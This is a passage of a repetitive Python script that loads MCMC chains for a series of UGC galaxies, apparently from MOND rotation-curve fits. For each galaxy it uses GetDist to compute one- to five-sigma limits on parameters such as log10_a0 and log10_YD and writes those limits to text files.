df2_sol_UGC07524=mle_soln_UGC07524[2] Dinc_sol_UGC07524=mle_soln_UGC07524[3] samp_UGC07524 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07524,names = names, labels = labels) samp_UGC07524.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07524 = samp_UGC07524.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07524-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07524 low=log10_a0_sol_UGC07524-stats_UGC07524.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07524.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07524 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07524-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07524-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07524 low=log10_YD_sol_UGC07524-stats_UGC07524.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07524.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07524 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07524-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07524-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07524 low=df2_sol_UGC07524-stats_UGC07524.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07524.parWithName('df2').limits[i].upper- df2_sol_UGC07524 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07524-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07524-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07524 low=Dinc_sol_UGC07524-stats_UGC07524.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07524.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07524 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07524-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07559 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07559.csv',usecols=[1,2,3,4]) data_array_chain_UGC07559 = numpy.array(full_chain_UGC07559) mle_soln_UGC07559=[] for i in range(ndim): mcmc_UGC07559 = numpy.percentile(data_array_chain_UGC07559[:, i], [16, 50, 84]) q_UGC07559 = numpy.diff(mcmc_UGC07559) mle_soln_UGC07559.append(mcmc_UGC07559[1]) log10_a0_sol_UGC07559=mle_soln_UGC07559[0] log10_YD_sol_UGC07559=mle_soln_UGC07559[1] df2_sol_UGC07559=mle_soln_UGC07559[2] Dinc_sol_UGC07559=mle_soln_UGC07559[3] samp_UGC07559 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07559,names = names, labels = labels) samp_UGC07559.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07559 = samp_UGC07559.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07559-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07559 low=log10_a0_sol_UGC07559-stats_UGC07559.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07559.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07559 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07559-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07559-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07559 low=log10_YD_sol_UGC07559-stats_UGC07559.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07559.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07559 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07559-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07559-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07559 low=df2_sol_UGC07559-stats_UGC07559.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07559.parWithName('df2').limits[i].upper- df2_sol_UGC07559 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07559-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07559-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07559 low=Dinc_sol_UGC07559-stats_UGC07559.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07559.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07559 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07559-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07577 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07577.csv',usecols=[1,2,3,4]) data_array_chain_UGC07577 = numpy.array(full_chain_UGC07577) mle_soln_UGC07577=[] for i in range(ndim): mcmc_UGC07577 = numpy.percentile(data_array_chain_UGC07577[:, i], [16, 50, 84]) q_UGC07577 = numpy.diff(mcmc_UGC07577) mle_soln_UGC07577.append(mcmc_UGC07577[1]) log10_a0_sol_UGC07577=mle_soln_UGC07577[0] log10_YD_sol_UGC07577=mle_soln_UGC07577[1] df2_sol_UGC07577=mle_soln_UGC07577[2] Dinc_sol_UGC07577=mle_soln_UGC07577[3] samp_UGC07577 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07577,names = names, labels = labels) samp_UGC07577.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07577 = samp_UGC07577.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07577-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07577 low=log10_a0_sol_UGC07577-stats_UGC07577.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07577.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07577 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07577-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07577-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07577 low=log10_YD_sol_UGC07577-stats_UGC07577.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07577.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07577 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07577-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07577-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07577 low=df2_sol_UGC07577-stats_UGC07577.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07577.parWithName('df2').limits[i].upper- df2_sol_UGC07577 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07577-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07577-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07577 low=Dinc_sol_UGC07577-stats_UGC07577.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07577.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07577 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07577-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07603 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07603.csv',usecols=[1,2,3,4]) data_array_chain_UGC07603 = numpy.array(full_chain_UGC07603) mle_soln_UGC07603=[] for i in range(ndim): mcmc_UGC07603 = numpy.percentile(data_array_chain_UGC07603[:, i], [16, 50, 84]) q_UGC07603 = numpy.diff(mcmc_UGC07603) mle_soln_UGC07603.append(mcmc_UGC07603[1]) log10_a0_sol_UGC07603=mle_soln_UGC07603[0] log10_YD_sol_UGC07603=mle_soln_UGC07603[1] df2_sol_UGC07603=mle_soln_UGC07603[2] Dinc_sol_UGC07603=mle_soln_UGC07603[3] samp_UGC07603 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07603,names = names, labels = labels) samp_UGC07603.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07603 = samp_UGC07603.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07603-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07603 low=log10_a0_sol_UGC07603-stats_UGC07603.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07603.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07603 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07603-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07603-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07603 low=log10_YD_sol_UGC07603-stats_UGC07603.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07603.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07603 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07603-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07603-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07603 low=df2_sol_UGC07603-stats_UGC07603.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07603.parWithName('df2').limits[i].upper- df2_sol_UGC07603 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07603-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07603-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07603 low=Dinc_sol_UGC07603-stats_UGC07603.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07603.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07603 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07603-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07690 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07690.csv',usecols=[1,2,3,4]) data_array_chain_UGC07690 = numpy.array(full_chain_UGC07690) mle_soln_UGC07690=[] for i in range(ndim): mcmc_UGC07690 = numpy.percentile(data_array_chain_UGC07690[:, i], [16, 50, 84]) q_UGC07690 = numpy.diff(mcmc_UGC07690) mle_soln_UGC07690.append(mcmc_UGC07690[1]) log10_a0_sol_UGC07690=mle_soln_UGC07690[0] log10_YD_sol_UGC07690=mle_soln_UGC07690[1] df2_sol_UGC07690=mle_soln_UGC07690[2] Dinc_sol_UGC07690=mle_soln_UGC07690[3] samp_UGC07690 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07690,names = names, labels = labels) samp_UGC07690.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07690 = samp_UGC07690.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07690-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07690 low=log10_a0_sol_UGC07690-stats_UGC07690.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07690.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07690 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07690-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07690-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07690 low=log10_YD_sol_UGC07690-stats_UGC07690.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07690.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07690 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07690-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07690-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07690 low=df2_sol_UGC07690-stats_UGC07690.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07690.parWithName('df2').limits[i].upper- df2_sol_UGC07690 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07690-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07690-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07690 low=Dinc_sol_UGC07690-stats_UGC07690.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07690.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07690 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07690-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC07866 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC07866.csv',usecols=[1,2,3,4]) data_array_chain_UGC07866 = numpy.array(full_chain_UGC07866) mle_soln_UGC07866=[] for i in range(ndim): mcmc_UGC07866 = numpy.percentile(data_array_chain_UGC07866[:, i], [16, 50, 84]) q_UGC07866 = numpy.diff(mcmc_UGC07866) mle_soln_UGC07866.append(mcmc_UGC07866[1]) log10_a0_sol_UGC07866=mle_soln_UGC07866[0] log10_YD_sol_UGC07866=mle_soln_UGC07866[1] df2_sol_UGC07866=mle_soln_UGC07866[2] Dinc_sol_UGC07866=mle_soln_UGC07866[3] samp_UGC07866 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC07866,names = names, labels = labels) samp_UGC07866.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC07866 = samp_UGC07866.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07866-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC07866 low=log10_a0_sol_UGC07866-stats_UGC07866.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC07866.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC07866 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07866-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07866-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC07866 low=log10_YD_sol_UGC07866-stats_UGC07866.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC07866.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC07866 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07866-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07866-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC07866 low=df2_sol_UGC07866-stats_UGC07866.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC07866.parWithName('df2').limits[i].upper- df2_sol_UGC07866 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07866-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07866-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC07866 low=Dinc_sol_UGC07866-stats_UGC07866.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC07866.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC07866 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC07866-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC08286 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC08286.csv',usecols=[1,2,3,4]) data_array_chain_UGC08286 = numpy.array(full_chain_UGC08286) mle_soln_UGC08286=[] for i in range(ndim): mcmc_UGC08286 = numpy.percentile(data_array_chain_UGC08286[:, i], [16, 50, 84]) q_UGC08286 = numpy.diff(mcmc_UGC08286) mle_soln_UGC08286.append(mcmc_UGC08286[1]) log10_a0_sol_UGC08286=mle_soln_UGC08286[0] log10_YD_sol_UGC08286=mle_soln_UGC08286[1] df2_sol_UGC08286=mle_soln_UGC08286[2] Dinc_sol_UGC08286=mle_soln_UGC08286[3] samp_UGC08286 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC08286,names = names, labels = labels) samp_UGC08286.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC08286 = samp_UGC08286.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08286-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC08286 low=log10_a0_sol_UGC08286-stats_UGC08286.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC08286.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC08286 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08286-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08286-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC08286 low=log10_YD_sol_UGC08286-stats_UGC08286.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC08286.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC08286 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08286-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08286-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC08286 low=df2_sol_UGC08286-stats_UGC08286.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC08286.parWithName('df2').limits[i].upper- df2_sol_UGC08286 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08286-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08286-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC08286 low=Dinc_sol_UGC08286-stats_UGC08286.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC08286.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC08286 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08286-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC08490 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC08490.csv',usecols=[1,2,3,4]) data_array_chain_UGC08490 = numpy.array(full_chain_UGC08490) mle_soln_UGC08490=[] for i in range(ndim): mcmc_UGC08490 = numpy.percentile(data_array_chain_UGC08490[:, i], [16, 50, 84]) q_UGC08490 = numpy.diff(mcmc_UGC08490) mle_soln_UGC08490.append(mcmc_UGC08490[1]) log10_a0_sol_UGC08490=mle_soln_UGC08490[0] log10_YD_sol_UGC08490=mle_soln_UGC08490[1] df2_sol_UGC08490=mle_soln_UGC08490[2] Dinc_sol_UGC08490=mle_soln_UGC08490[3] samp_UGC08490 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC08490,names = names, labels = labels) samp_UGC08490.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC08490 = samp_UGC08490.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08490-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC08490 low=log10_a0_sol_UGC08490-stats_UGC08490.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC08490.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC08490 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08490-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08490-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC08490 low=log10_YD_sol_UGC08490-stats_UGC08490.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC08490.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC08490 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08490-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08490-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC08490 low=df2_sol_UGC08490-stats_UGC08490.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC08490.parWithName('df2').limits[i].upper- df2_sol_UGC08490 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08490-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08490-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC08490 low=Dinc_sol_UGC08490-stats_UGC08490.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC08490.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC08490 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08490-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC08550 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC08550.csv',usecols=[1,2,3,4]) data_array_chain_UGC08550 = numpy.array(full_chain_UGC08550) mle_soln_UGC08550=[] for i in range(ndim): mcmc_UGC08550 = numpy.percentile(data_array_chain_UGC08550[:, i], [16, 50, 84]) q_UGC08550 = numpy.diff(mcmc_UGC08550) mle_soln_UGC08550.append(mcmc_UGC08550[1]) log10_a0_sol_UGC08550=mle_soln_UGC08550[0] log10_YD_sol_UGC08550=mle_soln_UGC08550[1] df2_sol_UGC08550=mle_soln_UGC08550[2] Dinc_sol_UGC08550=mle_soln_UGC08550[3] samp_UGC08550 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC08550,names = names, labels = labels) samp_UGC08550.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC08550 = samp_UGC08550.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08550-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC08550 low=log10_a0_sol_UGC08550-stats_UGC08550.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC08550.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC08550 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08550-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC08550-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC08550 